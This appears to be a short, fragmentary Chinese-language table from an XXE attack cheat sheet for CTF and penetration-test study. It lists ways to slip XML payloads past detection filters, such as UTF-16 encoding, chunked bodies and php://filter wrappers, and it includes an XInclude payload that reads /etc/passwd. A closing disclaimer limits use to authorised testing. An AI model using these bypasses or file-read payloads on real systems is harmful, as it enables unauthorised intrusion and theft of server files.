字符实体编码 |
% 代替 % |
| UTF-8 检测 |
UTF-16 编码 |
整个文档用 UTF-16 编码 |
| DOCTYPE 检测 |
XInclude |
<xi:include href="file:///etc/passwd"> |
| 内容检测 |
CRLF 注入 |
请求体分块,关键词跨块 |
| URL 特殊字符 |
PHP filter |
php://filter/.../resource= |
⚠️ 免责声明:本文档仅供 CTF 竞赛学习、安全研究及授权渗透测试使用。XXE 漏洞的利用在未经授权的情况下属于违法行为,请在合法合规的环境中学习与实践。